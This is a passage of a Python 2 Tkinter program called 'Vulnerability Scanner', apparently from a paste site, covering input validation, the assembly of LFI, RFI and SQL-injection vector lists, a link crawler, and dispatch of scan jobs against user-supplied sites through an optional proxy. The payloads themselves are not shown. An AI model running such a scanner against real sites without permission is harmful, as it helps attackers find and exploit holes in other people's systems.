  801.         entry6["state"]="normal"
  802.  
  803.  
  804.  
  805. def exceptions1():
  806.     table=[]
  807.     if not cb1.get() in numbers or not cb2.get() in numbers:
  808.         msgbox("showerror", "Incorrect string length!")
  809.         return [False]
  810.     if int(cb1.get()) > int(cb2.get()):
  811.         msgbox("showerror", "The initial string length mustn't be greater than the final string length!")
  812.         return [False]
  813.     if box.get()==():
  814.         msgbox("showerror", "Your domains's list mustn't be empty!")
  815.         return [False]
  816.     if cvar2.get()==1:
  817.         table+=nr_table
  818.     if cvar3.get()==1:
  819.         table+=["-"]
  820.     try:
  821.         timeout=int(combo4.get())
  822.     except:
  823.         msgbox("showerror", "Invalid timeout!")
  824.         return [False]
  825.     socket.setdefaulttimeout(timeout)
  826.     if cvar1.get()==1:
  827.         if len(evar3.get()) == 0 and len(evar4.get()) == 0:
  828.             table+=chr_table
  829.             return [True, table, timeout]
  830.         if (not evar3.get() in chr_table) or (not evar4.get() in chr_table):
  831.             msgbox("showerror", "Both entries must be empty or contain characters from [a, z]!")
  832.             return [False]
  833.         for x in range(0, 26):
  834.             if chr_table[x]==evar3.get():
  835.                 i=x
  836.             if chr_table[x]==evar4.get():
  837.                 f=x
  838.         if i > f:
  839.             msgbox("showerror", "The first letter must be before the last letter!")
  840.             return [False]
  841.         else:
  842.             table+=chr_table[i:f+1]
  843.     return [True, table, timeout]
  844.  
  845.  
  846.  
  847. def exceptions2_1():
  848.     if rvar2.get()==0:
  849.         try:
  850.             sites=txtsites
  851.         except:
  852.             msgbox("showerror", "Missing or invalid sites list!")
  853.             return [False]
  854.     else:
  855.         sites=["http://"+evar2.get()]
  856.     if cvar11.get()==1:
  857.         proxy_support=[True, evar5.get()+":"+evar6.get()]
  858.     else:
  859.         proxy_support=[False, None]
  860.     try:
  861.         timeout=int(combo4.get())
  862.     except:
  863.         msgbox("showerror", "Invalid timeout!")
  864.         return [False]
  865.     if rvar3.get()==0:
  866.         level="index"
  867.     else:
  868.         level="all"
  869.     if rvar4.get()==0:
  870.         flag="parameters"
  871.     else:
  872.         flag="all"
  873.     return [True, sites, timeout, level, flag, proxy_support]
  874.    
  875.  
  876.  
  877. def exceptions2_2():
  878.     LFI_vectors, RFI_vectors, SQLI_vectors=[], [], []
  879.     LFI_words, RFI_words, SQLI_words, task=[], [], [], []
  880.     if cvar10.get()==0 and cvar7.get()==0:
  881.         msgbox("showerror", "Vectors / words table is empty!")
  882.         return [False]
  883.     try:
  884.         if cvar4.get()==1:
  885.             if cvar10.get()==1:
  886.                 LFI_vectors+=LFI_table
  887.                 LFI_words+=LFI_word
  888.             if cvar7.get()==1:
  889.                 LFI_vectors+=LFI_txtvectors
  890.                 LFI_words+=LFI_txtwords
  891.             task.append("LFI")
  892.         else:
  893.             LFI_vectors=None
  894.             LFI_words=None
  895.         if cvar5.get()==1:
  896.             if cvar10.get()==1:
  897.                 RFI_vectors+=RFI_table
  898.                 RFI_words+=RFI_word
  899.             if cvar7.get()==1:
  900.                 RFI_vectors+=RFI_txtvectors
  901.                 RFI_words+=RFI_txtwords
  902.             task.append("RFI")
  903.         else:
  904.             RFI_vectors=None
  905.             RFI_words=None
  906.         if cvar6.get()==1:
  907.             if cvar10.get()==1:
  908.                 SQLI_vectors+=SQLI_table
  909.                 SQLI_words+=SQLI_word
  910.             if cvar7.get()==1:
  911.                 SQLI_vectors+=SQLI_txtvectors
  912.                 SQLI_words+=SQLI_txtwords
  913.             task.append("SQLI")
  914.         else:
  915.             SQLI_vectors=None
  916.             SQLI_words=None
  917.     except:
  918.         msgbox("showerror", "Missing or invalid vectors / words list!")
  919.         return [False]
  920.     return [True, LFI_vectors, RFI_vectors, SQLI_vectors,
  921.             task, LFI_words, RFI_words, SQLI_words]
  922.  
  923.  
  924.  
  925. def report(msg1, msg2, verbose):
  926.     if verbose:
  927.         reported=file("full_report.txt", "a")
  928.         reported.write(msg2)
  929.         reported.close()
  930.     else:
  931.         reported=file("report.txt", "a")
  932.         reported.write(msg1)
  933.         reported.close()
  934.  
  935.  
  936.  
  937. def action(type):
  938.     if type=="generate":
  939.         result=exceptions1()
  940.         if not result[0]:
  941.             return
  942.         table=result[1]
  943.         timeout=result[2]
  944.         ini=cb1.get()
  945.         fin=cb2.get()
  946.         domainsbox=box.get()
  947.         flag=rvar1.get()
  948.         arguments=[table, ini, fin, domainsbox, flag, timeout]
  949.         pool.apply_async(generate_and_verify, args=arguments, callback=callbackfunc)
  950.         button4["text"]="Please wait..."
  951.         button4["state"]="disabled"
  952.     if type=="scan":
  953.         result1=exceptions2_1()
  954.         result2=exceptions2_2()
  955.         if not result1[0] or not result2[0]:
  956.             return
  957.         if cvar9.get()==1:
  958.             verbose=True
  959.         else:
  960.             verbose=False
  961.         (sites, timeout, level, proxy_support)=(result1[1], result1[2], result1[3], result1[5])
  962.         (LFI_vectors, RFI_vectors, SQLI_vectors,
  963.          task, LFI_words, RFI_words, SQLI_words)=(result2[1], result2[2], result2[3],
  964.                                                   result2[4], result2[5], result2[6], result2[7])
  965.         arguments=[sites, LFI_vectors, RFI_vectors, SQLI_vectors,
  966.                    LFI_words, RFI_words, SQLI_words, verbose, task, timeout, level, proxy_support]
  967.         pool.apply_async(scan, args=arguments, callback=callbackfunc)
  968.         button6["text"]="Please wait..."
  969.         button6["state"]="disabled"
  970.     if type=="extract":
  971.         result1=exceptions2_1()
  972.         if not result1[0]:
  973.             return
  974.         (sites, timeout, level, flag)=(result1[1], result1[2], result1[3], result1[4])
  975.         arguments=[sites, timeout, level, flag]
  976.         pool.apply_async(crawl, args=arguments, callback=callbackfunc)
  977.         button11["text"]="Please wait..."
  978.         button11["state"]="disabled"
  979.  
  980.  
  981.  
  982. def crawl(sites, timeout, level, flag):
  983.     links=[]
  984.     for url in sites:
  985.         try:
  986.             links+=crawler(url, timeout, level, flag)
  987.         except socket.timeout:
  988.             msgbox("showwarning", "Timed out: "+url)
  989.         except urllib2.URLError, error:
  990.             if str(error)=="<urlopen error timed out>":
  991.                 msgbox("showwarning", "Timed out: "+url)
  992.             else:
  993.                 msgbox("showerror", "Invalid site: "+url)
  994.     return["extract", links]
  995.  
  996.  
  997.        
  998. def callbackfunc(arg):
  999.     if arg[0]=="generate":
  1000.         button4["text"]="Generate!"
  1001.         button4["state"]="normal"
  1002.         for x in range(1900, 2000):
  1003.             Beep(x, 1)
  1004.     if arg[0]=="extract":
  1005.         openedfile=file("links.txt", "a")
  1006.         for x in arg[1]:
  1007.             openedfile.write(x+"\n")
  1008.         openedfile.close()
  1009.         button11["text"]="Extract links only!"
  1010.         button11["state"]="normal"
  1011.         for x in range(0, 100):
  1012.             Beep(1000, 1)
  1013.     if arg[0]=="scan":
  1014.         button6["text"]="Scan!"
  1015.         button6["state"]="normal"
  1016.         for x in range(2000, 1900, -1):
  1017.             Beep(x, 1)
  1018.    
  1019.  
  1020.  
  1021. def end():
  1022.     root.wm_iconbitmap("icon.ico")
  1023.     root.title("Vulnerability Scanner")
  1024.     root.minsize(500, 500)
  1025.     root.maxsize(500, 500)
  1026.     root.mainloop()
  1027.    
  1028.    
  1029.  
  1030. def main():
  1031.     tables()
  1032.     frames()
  1033.     widgets()
  1034.     end()
  1035.  
  1036.  
  1037.  
  1038. if __name__=="__main__":
  1039.     freeze_support()
  1040.     pool=Pool(3)
  1041.     main()
  1042.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement